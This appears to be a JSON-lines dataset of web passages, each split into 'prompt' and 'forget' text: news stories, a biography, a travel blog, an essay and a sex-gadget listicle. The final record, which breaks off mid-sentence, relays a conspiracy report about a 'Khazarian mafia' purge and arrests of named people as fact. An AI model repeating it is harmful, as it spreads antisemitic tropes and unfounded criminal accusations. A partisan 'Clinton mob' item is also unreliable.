{"prompt": "Arthur Paul Pedrick (3 September 1918 \u2013 15 August 1976)[1] was a prolific British inventor who filed for 162 United Kingdom patents between 1962 and his death in 1976.[2] or 1977.[3] His inventions were notable for their humour and almost complete lack of practical applicability. Personal life [ edit ] Very little is known about Pedrick. He worked for many years as a patent examiner at the United Kingdom Patent Office but that it was only after his retirement that he began filing patent applications for his inventions. The Patent Office has stringent restrictions on improbable gadgets, but Pedrick's familiarity", "forget": "with the process enabled him to satisfy the requirements and get his applications granted. During this period he was resident in Selsey, Sussex, England, according to his patents. Sometimes his residence would further be listed as \"One-Man Photo-Electric Research Laboratories\", or \"One Man Think Tank Nuclear Fusion Research Laboratories\", and so forth.[citation needed] These laboratories were staffed by himself and a ginger coloured cat, sometimes referred to as \"Ginger\" although it is not clear whether this was actually his name. Ginger was of great help to Pedrick in developing his inventions.[3] Unfortunately, it is recounted in some of the patents how Ginger was unable to secure financing to put the inventions into practice. His patent for laser induced fusion[4] includes these autobiographical notes: It is my personal experience based on a severe bout of Dive bombing by Stuka dive bombers in a light cruiser HMS \"Dido\", in 1941, evacuating mainly New Zealanders from Crete, who had been sent in by the late Sir Winston Churchill, but who, after the battle with the Nazi paratroops had made the island untenable, Admiral Cunningham, the Naval C in C in Alexandria, realised must be got out if possible, that the surface warships just cannot survive attacks by large numbers of aircraft, on their own, and it is only the chance of fate that I happened to be in After Engine Room of the ship, when a bomb came down on B turret and created a carnage of twisted steel and bodies forward, that I am writing this now, but the memory of the experience still gives me a \"nightmare\" at times. I have suffered all my life even from a by product of the 1914\u201318 war even if I was born after it. It is a personal fact that my father was a"}
{"prompt": "An iPhone app that teaches you proper cunnilingus technique \u2013 A new app called Lick This offers to \u201ctrain your tongue\u201d in the art of oral sex because \u201cpractice makes pleasure.\u201d However, to use the app, you have to be willing to lick your phone screen. If you're concerned about germs (which wouldn't be unreasonable, because our phones are covered in them), I guess you could wrap your phone in Saran wrap first. If you\u2019ve always wanted to get past second base with Siri, this app may be your dream come true. The most realistic sex dolls money can buy", "forget": "\u2013 Forget blow-up dolls, a company called Sinthetics is now offering \u201clife size, fully articulated, anatomically correct\u201d sex dolls (or \u201cmanikins\u201d as the company calls them). These are probably the most life-like sex dolls money can buy (check out some sample images on the Sinthetics website), and they can be completely customized to your personal likes and (if applicable) fetishes. Breasts and penises come in all sizes, you can say where you want hair and where you don\u2019t, and you can even give your new friend things like tattoos, piercings, and tan lines. Oh, and elf ears and monster eyes are options too. Manikins start at $5,500, but if you want a completely custom body or head, expect to spend quite a bit more. Pleasure your partner (or yourself) with remote-controlled underwear \u2013 blueMotion, developed by OhMiBod, is a set of vibrating panties that you can control from your smartphone via a Bluetooth connection. An app on your phone lets you control the speed and intensity of the vibrations. Learn more here. And, no, I don\u2019t know when the wi-fi model is coming out! Turn ordinary household items into dildos in an instant \u2013 Have you ever looked at an object around your house and said, \u201cI wish I could turn that into a dildo?\u201d If so, Dildomaker is the device for you. It quickly and easily transforms everything from vegetables to hot dogs to candles into dildos. It works kind of like a pencil sharpener: just stick the tip in, crank the device, and presto! A perfect dildo every time. Check out a few examples here. The robot that helps you masturbate \u2013 Finally, for that guy in your life who thinks masturbation is just too much work, here is a prototype of a robot that can literally give"}
{"prompt": "21 September 2015 Hamilton Zoo\u2019s male Sumatran tiger Oz will not be euthanized following the death of Zoo Curator Samantha Kudeweh yesterday (20 September, 2015). Lance Vervoort, Hamilton City Council\u2019s General Manager Community, says although Samantha\u2019s death is a tragedy for the wider zoo family and international wildlife conservation community, senior zoo staff have ruled out euthanizing Oz. \u201cWe\u2019re aware there is a lot of interest and speculation around how we manage Oz now, and I want to assure the public and zoo supporters that he will not be put down,\u201d Mr Vervoort says. \u201cAlthough there is an inherent risk", "forget": "for zoo professionals who manage big cats like Oz, there is no wider ongoing risk. There is no reason for us to put Oz down.\u201d Mr Vervoort says the decision not to euthanize Oz was made by zoo senior staff today. They have advised the Ministry for Primary Industries \u2013 the Government agency responsible for overseeing zoo and wildlife park operations in New Zealand \u2013 of this. \u201cThis is our call, and the decision on Oz rested solely with us,\u201d Mr Vervoort says. \u201cOz is a significant animal for his species. He is the father of our two cubs, and he is vital to the ongoing breeding programme to conserve this rare species.\" Mr Vervoort says the widely held view among zoo professionals was that Oz\u2019s attack on Samantha was in line with his natural instincts. Hamilton Zoo will reopen on Thursday, and Mr Vervoort says some of the zoo\u2019s five Sumatran tigers will be on display. No decision has been made on whether visitors to the zoo will be able to see Oz. Mr Vervoort says the zoo\u2019s popular Tiger Talks, Eye 2 Eye and Face 2 Face encounters for all species have been suspended until further notice to allow zoo staff time and space to grieve for their friend and colleague. Those aspects of the zoo experience will be assessed on a weekly basis. Mr Vervoort says Hamilton Zoo will not be commenting on tiger management procedures until all investigations have been completed. \u201cWe\u2019re firmly focussed on supporting Samantha\u2019s family, the zoo team, and make sure we conduct thorough and complete investigations into this tragic incident.\u201d Mr Vervoort says Hamilton Zoo\u2019s phone lines and social media channels had been inundated with messages of support from around the country following Samantha\u2019s death. \u201cOur team is still coming to terms"}
{"prompt": "In seeking to comply with new record-keeping requirements from the National Archives, Hillary Clinton turned over thousands of pages of her personal e-mails to the State Department, officials said. (John Woods/AP) Hillary Rodham Clinton was not the first senior government leader to conduct official business on personal e-mail, a practice that \u2014 while discouraged \u2014 apparently became widespread enough that Congress tightened rules on its use late last year. The Federal Records Act prohibits official business on private e-mail accounts unless the communications are copied and turned over to the National Archives within 20 days. The new oversight is part", "forget": "of the government\u2019s evolving policy on how to archive the massive volume of electronic communications created in a digital age of e-mail, tweets and Instagram. It follows a flurry of disclosures that several Cabinet-level officials \u2014 including former Environmental Protection Agency administrator Lisa Jackson and former health and human services secretary Kathleen Sebelius \u2014 used private or secondary government e-mail accounts. The continuing use of non-official accounts for official business has attracted congressional inquiries amid questions about transparency. On Wednesday, the head of the small office that investigates chemical accidents is scheduled to testify at a House committee hearing on an inspector general\u2019s report that he and two deputies discussed internal disputes about agency operations on private e-mail accounts and did not preserve them. Several large agencies, including the EPA and the Defense, State, Treasury, Interior and Homeland Security departments, said their senior leaders restrict all government business to government e-mail accounts. John F. Kerry is the first secretary of state to rely on a government e-mail account, officials said. Hillary Clinton\u2019s private e-mail address that she used while secretary of state reinforces everything people don\u2019t like about her, argues The Post\u2019s Chris Cillizza, and is very dangerous to her presidential ambitions. (The Washington Post) The EPA \u201cdiscourages the use of private e-mails,\u201d an agency spokesman said. \u201cOur policy is to forward e-mails initiated from and received by private e-mail accounts to government e-mail accounts to create a record in the EPA e-mail system within 20 days.\u201d A Treasury Department spokesman said Secretary Jack Lew conducts official department business on government e-mail. \u201cTreasury policy is that employees should conduct official business through their official treasury e-mail accounts. The policy recognizes that there are situations in which an employee must use a personal e-mail account for work purposes. In those circumstances,"}
{"prompt": "NEW YORK (MainStreet) - The amount of pot purchased annually by Americans is an estimated $50 billion, but and only $2 to $2.5 billion of it is purchased legally, according to a Wall Street report. That's because although legalization of marijuana is sweeping the nation, sales of the plant-based drug will continue to be sold on the black market for some time. \"There are conservative states that are not putting this on the ballot in the near future,\" said Scott Greiper, founder and president of Viridian Capital & Research. \"They are far away from legalizing despite the allure of revenues", "forget": "of marijuana sales.\" Some $10 to $15 billion is expected to comprise legal sales in the next three to five years. \"States that are currently legalizing are slow rolling it in order to regulate the use and ensure a chain of custody, compliance and tracking,\" Greiper told MainStreet. The Viridian Cannabis Industry Report and Stock Index revealed that publicly traded marijuana stocks increased 848% in the first quarter of 2014 when Colorado legalized recreational use, but the sector has since dropped, ending the first nine months of 2014 with a 147% gain. \"We see a shake-out coming as lofty valuations come down to reality, questionable operators are forced from the industry and the real winners in the sector become apparent,\" Greiper said. \"This will accelerate the movement of more traditional capital sources into cannabis stocks.\" About 60 marijuana related companies have gone public since 2012 when only 13 were listed on the exchange compared to 70 currently listed on the pink sheets. \"There's a lot of disbelief in the prospect of the management capability of public companies,\" said Michael Swartz, analyst with Viridian Capital & Research. \"To bridge the gap and bring credibility, we've issued this research report that landscapes the industry so that institutional investors have an understanding of how marijuana companies are being valued to access the capital markets.\" The top performing sectors of the Viridian Cannabis Stock Index include consulting services with returns of 665.5%, biotech at 339% and 135% for infused products. \"With broker, banker and analyst licenses with the SEC and FINRA, we transact all of our investment banking transactions through Pickwick Capital Partners, which allows us to act as an investment banker to these public companies,\" said Greiper. Leading publicly traded consulting companies include Medbox (MDBX) and United Cannabis Corp. (CNAB). \"Entrepreneurs wanting to"}
{"prompt": "Conservative industrialist Charles Koch declined to back Donald Trump in last year's election. (Patrick T. Fallon for The Washington Post) INDIAN WELLS, Calif. \u2014 Leaders of the influential Koch network on Sunday expressed opposition to President Trump's ban on refugees and immigrants from Muslim-majority countries, saying the executive order is not in keeping with their aims to build a free and open society. \u201cWe believe it is possible to keep Americans safe without excluding people who wish to come here to contribute and pursue a better life for their families,\u201d said Brian Hooks, the president of the Charles Koch Foundation,", "forget": "who is co-chairing a weekend conference of donors who help finance the Koch operation. \u201cThe travel ban is the wrong approach and will likely be counterproductive,\u201d he added. \u201cOur country has benefited tremendously from a history of welcoming people from all cultures and backgrounds. This is a hallmark of free and open societies.\u201d The statement represents the network's first public critique of Trump since his election victory. President Trump signed an executive order to halt U.S. entry for refugees, migrants and foreign nationals for 120 days starting Jan. 27. Fiery protests and lawsuits made for a tumultuous weekend. Here's what you need to know. (Dalton Bennett,Erin Patrick O'Connor,Katherine Shaver,Monica Akhtar,McKenna Ewen/The Washington Post) Last year, Charles Koch, the conservative industrialist who leads the network, was sharply critical of Trump's proposal to ban Muslim immigrants from the United States, calling the idea \u201cantithetical to our approach.\u201d He called the suggestion that Trump might require Muslims to register \u201creminiscent of Nazi Germany.\u201d Koch did not weigh in on the ban Saturday night as he greeted 550 wealthy donors gathered in a courtyard under stately palm trees at a desert resort here. The 81-year-old billionaire, who pointedly declined to endorse Trump in last year's presidential election, praised the network's work in helping Republicans maintain their majority in the Senate and their support for state officials around the country. He expressed optimism about what the group will be able to accomplish in the coming year, saying, \u201cWe may not have an opportunity again like we have today.\u201d [Koch network to spend $300 million to $400 million on politics, policy in 2018 cycle] In the 2018 cycle, the network aims to spend $300 million to $400 million on policy and political campaigns \u2014 up from $250 million during the 2016 elections. The money will be"}
{"prompt": "https://iwandered.net/temples-of-mrauk-u-burma-myanmar/ The alarm rang. At 5:30 in the morning, my mind was still in a murky haze having arrived in Mrauk U just a few hours before. The entirety of the previous day was spent traveling by plane, boat and jeep and yet there I was, up and on the go once more. in a dreamlike state\u2026 Burma\u2019s Rakhine state, where Mrauk U is located, is closer to Bangladesh than to Yangon. The roads here are so underdeveloped that an 80 km road trip between two points in the state takes almost 5 hours. We decided to take a longer", "forget": "but less bumpy route, and went on a 6-hour journey by boat after we arrived in Sittwe, the administrative center of Rakhine state. Sunrise At 5:30 in the morning, I found myself scaling some unknown peak in utter darkness, with the faint luminance of a flashlight guiding the way. A closer peek revealed a golden pagoda at the top \u2013 the Shwetaung Paya, from where the sunrise views of Mrauk U are said to be legendary. \u201cThis better be worth it,\u201d I muttered to myself. The air was a lot colder than what I remembered from when I had arrived. Surely, it wasn\u2019t what I expected for the tropics. By the time we reached the top, the first sign of daybreak had arrived. I could make out a fog forming in the lower altitudes while the sky turned dark blue and later into purple. What happened a few minutes later was perhaps the most magnificent sunrise I have seen in my entire life. The landscape in Mrauk U in Burma\u2019s restive Rakhaing state at dawn is a mishmash of cauliflower fields and village huts surrounded by the morning fog and punctuated by hillocks with several centuries old stupas \u2013 it\u2019s a dreamlike scene made even more apparent by the fact that I was still only half-awake on this pre-dawn hike. The sunrise view also served as my orientation to the scattered temples of Mrauk U. There were about 700 in the horizon, and I would only be able to visit a handful. How to Go to Mrauk U One of the things that has deterred many travelers and kept Mrauk U mainly off-the-radar despite its ability to give Angkor Wat a run for its money is the long hours involved in getting there. You can basically look at a few"}
{"prompt": "This is the bizarre moment an Asian woman praised Pauline Hanson by comparing her to both Donald Trump and Adolf Hitler. The woman's gushing praise of the controversial One Nation leader was captured in an interview with ABC's The Link presenter Stan Grant. He spoke to residents of New South Wales in a segment that aired on Friday night asking them what they think of Ms Hanson. While one man dismissed her as 'too anti-everything,' an Asian woman \u2013 who was not named \u2013 was filmed in a shopping centre as she heaped praise on Senator Hanson. This woman heaped", "forget": "praise Pauline Hanson in an interview with The Link - comparing her to Donald Trump and Adolf Hitler 'Pauline Hanson is straightforward,' she said. 'She's sincere, she's not a hypocrite. If she doesn't like you, I don't like you.' The woman continued to compliment Ms Hanson by comparing her qualities with two other nationalistic politicians she admires - the current President of the United States and the leader of Nazi Germany. Speaking about why she likes Ms Hanson, the woman continued: 'Just like Trump. I like Trump. Donald Trump is sincere. 'He's sincere, straightforward. If he tells you you're not okay, you're not okay \u2013 not okay for America. You're destroying our country.' The unnamed woman described the One Nation leader as 'sincere' and 'straightforward' While some called Ms Hanson (pictured) 'too anti-everything', the woman continued to compliment her Asked if she would like to hear more Trump-inspired rhetoric in Australia, she replied: 'Yes, yes.' She added: 'See like that speech he had yesterday, that was great. Yes, it sounded like Hitler, but you know, Hitler loved Germany.' Later on the programme, American political analyst and author Thomas Frank said the woman's comments were 'alarming'. 'Oh my goodness, well, it sounds like you're going to get your own Donald Trump here soon,' he told Mr Grant. 'That's a little bit alarming. 'Everything those people said, you take out the accent and some of the slang and that's exactly the kind of thing you heard from Americans during the last election cycle.' The woman compared Ms Hanson to other nationalistic politicians Donald Trump (pictured left) and Adolf Hitler (right) Ms Hanson has said that Australians are calling out for a 'strong leader' like Vladimir Putin Meanwhile, Ms Hanson herself recently praised a controversial leader \u2013 Russian President Vladimir Putin. She insisted"}
{"prompt": "Vice President Joe Biden is known for his speeches. But there is one particular speech Biden gave that I've never forgotten. I remember seeing it on TV, half-listening, and then, all at once, realizing Biden was saying something I had never heard him say before, something I had never heard any politician say before. On May 25, 2012, Biden spoke to families of fallen soldiers and described the appeal of suicide. \"I probably shouldn\u2019t say this with the press here,\" Biden said, \"but no, but it\u2019s more important, you\u2019re more important. For the first time in my life, I understood", "forget": "how someone could consciously decide to commit suicide. Not because they were deranged, not because they were nuts, because they had been to the top of the mountain, and they just knew in their heart they would never get there again.\" It's a startling speech \u2014 and it's particularly startling to hear Biden give it. Biden is America's most happy-go-lucky politician. The internet delights in pictures of him eating ice cream cones, flattering grandmothers, smiling that big smile. The Onion has created an alternative-universe Biden, a guy who loves crushing beers while washing his Trans-Am shirtless. But the real Joe Biden doesn't drink. There's too much alcoholism in his background. And the real Biden isn't as carefree as his public persona suggests. The real Biden buried his wife and one of his children before he turned 30. But somehow, he keeps smiling. When you think of what Joe Biden's endured and what he's like, he seems to get something right about life that most of us don't. \u2014 Michael Grunwald (@MikeGrunwald) May 31, 2015 In 1972, a week after Biden was elected to the Senate at the age of 29, his wife and daughter were killed in a car crash. They had been out Christmas shopping, and they were hit by a tractor trailer. His sons were also hospitalized. It wasn't clear that they would survive. If they did survive, there might be brain damage. In his book What It Takes, the late Richard Ben Cramer described the scene that confronted Biden at the hospital: The doctors came out to find him: \"We lost Neilia and the baby.\" The boys were still being worked on\u2014 broken hips, legs, arms. Beau was all cut up, and Hunter\u2014 concussion. Doctors weren\u2019t sure ... brain damage possible. They\u2019d have to transfer Hunt\u2014 another"}
{"prompt": "It's a valid question: why is it that the United States has long refused to launch air strikes or other military action against the Islamic State (ISIS), the extremist group responsible for untold suffering and destruction in Syria, but is happy to bomb ISIS now that it has pushed into Iraq? Why is it okay to attack ISIS on one side of the largely-hypothetical Syria-Iraq border, but not okay to do on the other side, particularly given that ISIS is doing way more harm in Syria than it is in Iraq, and is only able to attack Iraq at all", "forget": "because of its huge haven in Syria? It turns out, though, that there are legitimate reasons for bombing Iraq and not Syria. And while there are arguable cases for attacking ISIS in Syria, it is also true that the distinction matters a great deal, and that the Obama administration's approach isn't as hypocritical as it might look at first glance. Here are six reasons why. 1) Bombing Iraq is about preserving the status quo; bombing Syria would be about changing the status quo, which is much harder and more open-ended Obama ordered air strikes against ISIS in Iraq focused on the narrow goal of defending Iraq's semi-autonomous Kurdish region. Kurdistan had been mostly secure until ISIS began pushing into the territory about a week ago; it's got a stable, pro-American, oil-producing government. Obama's strikes are meant to help Kurdistan defend itself, and to preserve the status quo of a secure Kurdistan. The strikes are very clearly not about trying to change the larger ISIS war in Iraq, or to help Iraq retake the vast ISIS-held swathes of territory. In Syria, there is no \"good\" status quo to defend. Any strikes against ISIS there would be about pushing the group back from Syrian territory it already controls, so that more moderate Syrian rebels could seize it. In other words, the air strikes would be about changing the facts on the ground in Syria, rather than preserving them. Obama seems willing to use force when he can protect something good \u2014 a stable, secure Iraqi Kurdistan \u2014 but not to try to fix something bad. He doesn't want to \"own\" the outcome, get dragged into a potentially long engagement that could easily escalate, or risk sending the conflict spinning in an unpredictable new direction. So the US approach to Syria and Iraq"}
{"prompt": "ESPN legal analyst Roger Cossack explains possible reasons why Ronald Gasser, the man named as shooting Joe McKnight, was released from custody and has not been formally charged. (2:17) The shooting death of former USC Trojans and New York Jets running back Joe McKnight in a New Orleans suburb was a \"road rage\" incident that started on a nearby bridge, a sheriff said Friday, as he urged against a rush to judgment and defended his handling of the case as the alleged shooter was released overnight. McKnight was shot and killed Thursday afternoon in the community of Terrytown, just across", "forget": "the Mississippi River from New Orleans. Authorities have identified 54-year-old Ronald Gasser, who stayed at the scene, as the shooter, and he was released overnight, sparking criticism. Jefferson Parish Sheriff Newell Normand said during a news conference on Friday that the altercation that ended with McKnight's death started on a nearby bridge -- possibly when one of the two men cut the other off -- and then proceeded into nearby streets in the New Orleans suburb. He did not say which driver cut off the other. Authorities said Gasser shot McKnight three times through an open window from inside his car with a semi-automatic handgun while McKnight was standing outside. Normand said witnesses observed a \"heated verbal exchange\" between Gasser and McKnight before the shooting. However, Normand said that one witness account, which indicated Gasser was standing over McKnight when he fired a shot, was factually incorrect and \"did not happen.\" Normand said three casings were located inside Gasser's vehicle, and coroner Gerry Cvitanovich said Friday that McKnight had wounds to his left hand and entry wounds to his right shoulder and the right side of his chest. Gasser stayed at the scene, relinquished his semi-automatic handgun to officers and was taken into custody and questioned, the sheriff said. No guns were found outside either vehicle. According to The Times-Picayune, Gasser told police he was the shooter. Normand said later Friday in a news release that the man who shot McKnight was involved in a 2006 altercation at the same intersection, during which he chased down and struck another male driver, who had observed a truck driving erratically and called a phone number on the truck and spoke to a man later identified as Gasser. Gasser and the 51-year-old man got into an argument on the phone, according to the"}
{"prompt": "Image copyright Moray Council Image caption Graham Leadbitter said he did not want the issue detracting from campaigning A Moray women's group which has a man on its board has left the Scottish Women's Aid network as the appointment does not comply with its rules. Graham Leadbitter, a councillor, has worked with Elgin-based Moray Women's Aid (MWA) for many years. When Scottish Women's Aid (SWA) said it breached its conditions, the board of MWA decided it would not change its set-up, and resigned. MWA said feedback was positive. SWA said women-only boards mattered. The Women's Aid network supports women, children", "forget": "and young people who have experienced domestic abuse across Scotland. 'Positive comments' Mr Leadbitter told the BBC Scotland news website: \"I have been a member of the Moray Women's Aid board for about eight years, it's not been a secret, but the SWA spotted that and they said that did not comply. \"The MWA board discussed the issue and agreed they did not want to change the set-up. It should be based on ability rather than gender. \"So MWA indicated they would withdraw their affiliation. MWA is an independent organisation and felt it was the best route. \"I would not want the issue to detract from the very good work women's aid groups do. If it opens up debate about how you can address inequality then that's maybe not a bad thing. \"I have had positive comments about the position we have taken.\" 'Challenge inequality' The SWA said in a statement: \"We're sorry to confirm that Moray Women's Aid are no longer members of the Scottish Women's Aid network and we wish them all the very best as they continue to provide vital services for women, children and young people experiencing domestic abuse across Moray. \"Women are often excluded from making decisions about issues that predominantly affect women's lives; just look at the decision-making tables around Scotland. \"Less than 35% of members of the Scottish Parliament are women; women are only 25% of councillors and 36% of public boards. We believe Scotland aspires to be equal, but we are not there yet, and the reality is unless we take action, the playing field will never be levelled.\" The statement added: \"Women-only boards are important for Scottish Women's Aid, because we recognise that in Scotland historically and currently women are not equal, and do not have the same opportunities and experiences"}
{"prompt": "Mr. Friedman and Ms. Epstein have been civilly divorced since April and share custody of their daughter, but they are still married according to Jewish law. And without a get neither he nor Ms. Epstein can remarry within the faith. She is considered an agunah, or chained woman. Although the majority of men in Jewish divorces grant their wives a get with little fuss, the husbands who refuse \u2014 it is estimated there are several hundred agunot in the United States today \u2014 can provoke a clash between religious folkways and secular divorce law. Usually these conflicts are resolved quietly,", "forget": "within the religious community. But Ms. Epstein\u2019s frustrated supporters took to the streets. Like most marriages that end badly, this one began hopefully. On April 23, 2006, Aharon Friedman of Brooklyn married Tamar Epstein, seven years his junior, of suburban Philadelphia . The next year, they had a daughter. According to court records and interviews with Ms. Epstein, her lawyer and Mr. Friedman, who refused to be quoted publicly, Ms. Epstein said in March 2008 that she wanted a divorce. Her husband said he hoped to reconcile but the next month, she moved with their daughter to her parents\u2019 home in suburban Philadelphia. Photo Both parties wanted their divorce resolved by a beit din, a Jewish court. But both also availed themselves of civil court: Mr. Friedman to get an emergency order to have his daughter returned to Maryland (it was denied), and Ms. Epstein, thereafter, in a countersuit for divorce. Both have since filed numerous other civil motions in a messy case. An Orthodox rabbinic court in Baltimore still had not ruled when a Maryland civil court heard the case, in June 2009. It issued its custody order two months later, and in April 2010, the divorce became final. Advertisement Continue reading the main story All parties have said that Mr. Friedman is angry about the custody order, which grants him three weekends a month with his daughter, two of them in Philadelphia, beginning at 6 p.m. on Fridays. As a religious Jew, Mr. Friedman will not drive from sundown Friday to sundown Saturday \u2014 so he cannot see his daughter until Sunday. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive"}
{"prompt": "Image copyright AFP Image caption China's defence minister Chang Wanquan has suggested drills for \"maritime rescues and disaster relief\" China has proposed joint maritime drills with South East Asian nations in the hotly contested South China Sea in 2016. Beijing is currently hosting an informal meeting for defence ministers from the region. China's Defence Minister Chang Wanquan has suggested drills for \"maritime rescues and disaster relief\". China's reclamation activities in the sea in recent years have raised tensions with its neighbours. The Philippines and Vietnam, in particular, have overlapping claims with China. China's proposal comes a week after the US", "forget": "announced it was considering sending ships to an area of the South China Sea China has claimed for itself, a suggestion which sparked strong words from China. Read more: What is the South China Sea dispute? The suggestion for joint drills was made on Friday at a meeting with defence ministers from the Association of Southeast Asian Nations (Asean) regional alliance. The drills would be one way of achieving the aim of \"jointly solving disputes and controlling risks\", China's defence ministry said in a statement. The offer \"indicates potential for the conflict to de-escalate\" and if Asean states agreed, the drills would be \"a confidence-building measure that can ease tensions\", military studies research fellow Daniel Wei Boon Chua, of the S Rajaratnam School of International Studies in Singapore, told the BBC. William Choong, senior fellow at think-tank II-SS, called it \"a conciliatory effort at blunting the bad press\" and \"to tamp down the temperature when you have US Navy ships possibly sailing in.\" But he felt that the drills would be \"unlikely\" to take off, \"because I don't see any concerted buy-in from Asean on joint patrols,\" he said. Asean has had internal disagreements on a co-ordinated response to China on the South China sea dispute. Image copyright AP Image caption China has been reclaiming various islands and reefs in the area including Mischief Reef China has been accused of militarisation and illegally expanding its maritime claims by reclaiming land around island reefs and building airstrips and structures on them. The US has called on China to halt such activities. Vietnam on Tuesday alleged that China was constructing two lighthouses in the Spratly islands, and said it \"resolutely rejects and vehemently protests China's action.\" The country saw anti-Chinese protests last year over a Chinese oil rig in a disputed area."}
{"prompt": "Can we have morals without religion, or have morals developed solely through religion, or been given directly by God? What would we expect the world to look like, regarding morals, if there was no god \u2013 or if there was one? Are atheists less moral people? There are many reasons why believers fear atheism and atheists. Some are merely threatened by differing world views, some have been indoctrinated to such a degree as to believe that atheists are pawns of Satan, and some are somehow worried about being tempted \u201cdown a sinful path\u201d or to waver in their faith. All", "forget": "of these fears are self-centered and are not concerned with the greater good of the human species. One fear, that many believers share is, however, concerned with all of us and our common future. If morals stem from God and can only exist with God as the enforcer, what will our society become if God is removed from the picture? If we assume there is no divine judgement in the end and act accordingly? There are several aspects to this discussion, and I must admit (as I probably will in many posts) that I cannot treat the subject in full depth, nor can I hope to include all views and arguments on the matter. I can only try and make the subject engaging for anyone who has not thought about it before or maybe bring some new arguments forth. There are 4 questions to consider in this discussion: 1) Did morals come from God? Or the belief in God? 2) Could morals appear without the belief in God? 3) Are our modern moral values based on the religion with which we grew up? 4) Can we, as individuals, have morals without God or the belief in God? In the following I will try to touch upon each of these issues, but I will not be able to thoroughly discuss them. I aim only to give food for thought, and where necessary some references to more material. 1) There can be no doubt that in most societies, morals and dictated social behavior are closely linked to religion. The Abrahamic religions have the ten commandments in the Old Testament of the Bible as a very clear example, and the Quran has many passages explicitly describing laws. Examples can also be found in non-Abrahamic religions, such as the concepts of dharma and kharma"}
{"prompt": "Sunset Foods makes big investment in Libertyville hello Bursts from power tools pepper the conversation, but John Cortesi is unfazed by what he considers the sounds of progress. \"We're going to really improve and enhance the shopping experience here,\" says Cortesi, president and CEO of Sunset Foods, a 76-year-old family-owned chain of groceries with five locations. This one has anchored the Butterfield Square shopping center on Libertyville's northwest side since 1998. Seated at a table in the grill area, just steps from where a small bar that will serve craft beer, boutique wine and appetizers is taking shape, Cortesi highlights", "forget": "various aspects of the most extensive store renovation at this location since it opened. \"It's due,\" he says. The improvements will include a full-service floral section with trained designers, revamped liquor department with a separate entrance, outdoor seating for 75 beneath a cedar trellis, expanded offerings for a variety of foods, and prototype elements, such as the beer and wine bar, and \"build a burger\" feature. \"We're trying to improve the experience in all our locations,\" Cortesi said. \"We want our store to be a place for people to meet their friends, have dinner, an appetizer.\" The estimated $1 million renovation in Libertyville could serve as a template for future improvements at the other Sunset locations. There is no specific plan or schedule set, although the Northbrook location is being evaluated, he said. Periodic changes are part of any business model. However, the landscape in Libertyville would appear to warrant some urgency, given the pending arrival of Trader Joe's on the south end of town and the continued success of Mariano's Fresh Market across the street from that site in Vernon Hills. \"Most supermarkets find they need to refresh their stores about every seven years. The degree of the refresh often depends on the competitive environment,\" said Jon Hauptman, a partner with Willard Bishop Ltd., an industry analyst firm in Barrington. Planning and approvals for the Libertyville store, as well as for the landscaping and signage of the shopping center, were in progress well before the Trader Joe's announcement last February. \"Improvements are necessary to compete in today's marketplace,\" Cortesi said without directly addressing the competition, which also includes a Jewel-Osco store. He described Sunset as a \"very niched\" business noted for its high-end service, such as online shopping with curbside pickup and quality products. Sunset shoppers can expect several"}
{"prompt": "BREAKING: Donald Trump Attorney Looking for Homeless Woman Beaten By Hillary Clinton Supporters in Hollywood The attorney for Republican presidential candidate Donald Trump is looking for the homeless Black woman seen on video being attacked by a mob of Hillary Clinton supporters as she protected Trump\u2019s star on the Hollywood Walk of Fame after it was sledgehammered by a Clinton supporter earlier this week. Before: After: Michael Cohen, Trump Organization EVP and Special Counsel to Donald J. Trump, spoke out on Twitter Friday evening about Mr. Trump\u2019s desire\u2013before it was known to him that she was attacked by the Clinton", "forget": "mob\u2013to present an unspecified gift to the woman. Cohen said he had a friend in Hollywood looking for her. After learning she had been attacked, Cohen promised she would have \u201cthe last laugh on these thugs.\u201d Cohen told a supporter to not contact the Trump campaign about the woman but to DM him on Twitter with any information as to her whereabouts., indicating this is a personal matter for Trump. .@DiamondandSilk @realDonaldTrump someone please help me locate this woman as Mr. Trump has a gift for her\u2026 \u2014 Michael Cohen (@MichaelCohen212) October 28, 2016 \u201c[email protected] @realDonaldTrump someone please help me locate this woman as Mr. Trump has a gift for her\u2026\u201d .@aGirlisN0one @DiamondandSilk @realDonaldTrump Someone please help me find this woman. No person should ever be treated this way!!! \u2014 Michael Cohen (@MichaelCohen212) October 28, 2016 \u201c[email protected] @DiamondandSilk @realDonaldTrump Someone please help me find this woman. No person should ever be treated this way!!!\u201d .@can_texplain @DiamondandSilk @realDonaldTrump I just had a friend who works close by look but she is not there. If someone sees her, DM me \u2014 Michael Cohen (@MichaelCohen212) October 28, 2016 \u201c[email protected]_texplain @DiamondandSilk @realDonaldTrump I just had a friend who works close by look but she is not there. If someone sees her, DM me\u201d Soon after Cohen responded to posters on Twitter who informed him the woman had been attacked and prayed for her to be found and helped. Cohen stayed engaged in conversation with the posters over the course of several hours Friday night. \u201c@MichaelCohen212 @DiamondandSilk @realDonaldTrump they assaulted her!!\u201d \u201c[email protected] @YouTube with everyone\u2019s help, we will.\u201d .@IamBruceRussell @natashalarebel she will ultimately have the last laugh \u2014 Michael Cohen (@MichaelCohen212) October 28, 2016 \u201c[email protected] @natashalarebel she will ultimately have the last laugh\u201d .@can_texplain @DiamondandSilk @realDonaldTrump no one should be"}
{"prompt": "New weekly report from Ben. Just came out. Full one to be released on Thursday. The only part I\u2019m waiting to see confirmation is that of the arrests (Podestas, et al.). We shall see. \u201cThere can be no doubt whatsoever that the worldwide purge of the Khazarian mafia now has reached a tipping point of no return, with arrests and purges in the U.S. and Saudi Arabia. \u201cIn the Middle East, Iran-linked Hezbollah now effectively rules Lebanon after Saudi puppet Prime Minister Saad Hariri was forced to resign. His resignation was followed by the purge of hundreds of princes, generals,", "forget": "religious leaders, and others by de facto Saudi King Muhammad bin Salman. This purge was especially important because it cut off one of the last major remaining sources of Bush/Clinton mafia money and power\u2026 Pentagon sources\u2026: \u201cThe Saudi purge of the Bush-Clinton pedo terror faction\u2026is timed to the Paradise Papers leak, \u201cThe ramifications of these leaks, arrests, and purges reach out in many directions\u2026 Trump Commerce Secretary Wilbur Ross (child) has been implicated. So has Canadian magnate Stephen Bronfman\u2026 These names are just the tip of the iceberg.\u201d \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014 Purge of Khazarian mobsters intensifies as Trump is kept safe in Asia By Benjamin Fulford, White Dragon Society, November 6, 2017 There can be no doubt whatsoever that the worldwide purge of the Khazarian mafia now 